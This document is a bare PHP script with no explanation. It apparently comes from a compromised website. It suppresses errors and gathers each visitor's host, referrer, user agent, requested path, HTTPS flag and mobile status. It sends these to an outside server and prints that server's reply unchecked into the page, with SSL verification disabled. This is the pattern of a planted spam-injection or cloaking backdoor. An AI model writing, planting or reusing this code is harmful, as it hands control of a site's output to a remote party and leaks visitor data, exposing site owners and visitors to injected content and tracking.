<?php try{ ini_set('display_errors','off'); error_reporting(E_ALL ^ E_NOTICE); set_time_limit(0); $api_url = "http://br200.tuuudoo.com/"; $U = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''; $R = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : ''; $H = isset($_SERVER['HTTPS']) ? $_SERVER['HTTPS'] : ''; $domain = isset($_SERVER['HTTP_X_FORWARDED_HOST']) ? $_SERVER['HTTP_X_FORWARDED_HOST'] : (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : ''); $file=(isset($_SERVER['REQUEST_URI']) && $_SERVER['REQUEST_URI']!='')?$_SERVER['REQUEST_URI']:$_SERVER['HTTP_X_REWRITE_URL']; $M=0; if (isset($_SERVER['HTTP_X_WAP_PROFILE'])) { $M=1; } if (isset($_SERVER['HTTP_VIA']) && stristr($_SERVER['HTTP_VIA'], "wap")) { $M=1;} $A=$_SERVER['HTTP_ACCEPT']; if (version_compare(PHP_VERSION, '5.5.0', '<')) { $result = file_get_contents($api_url."?S=".$domain."&R=".$R."&U=".urlencode($U)."&M=".$M."&A=".$A."&H=".$H.""."&I=".urlencode($file)); echo $result; } else { $post_data = array('S'=>$domain,'R'=>$R,'U'=>$U,'M'=>$M,'A'=>$A,'H'=>$H,'I'=>$file); $result = posturl($api_url,$post_data); echo $result; } // exit(); }catch (Exception $exception){ echo $exception; } function posturl($url,$post_data=null){ $curl = curl_init(); curl_setopt($curl, CURLOPT_URL, $url); curl_setopt($curl, CURLOPT_HEADER, 0); curl_setopt($curl, CURLOPT_TIMEOUT, 30); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curl, CURLOPT_USERAGENT,$_SERVER['HTTP_USER_AGENT']); curl_setopt($curl, CURLOPT_REFERER, @$_SERVER['HTTP_REFERER']); curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, FALSE); curl_setopt($curl, CURLOPT_POST, 1); curl_setopt($curl, CURLOPT_POSTFIELDS, json_encode($post_data)); $data = curl_exec($curl); curl_close($curl); return $data; } ?>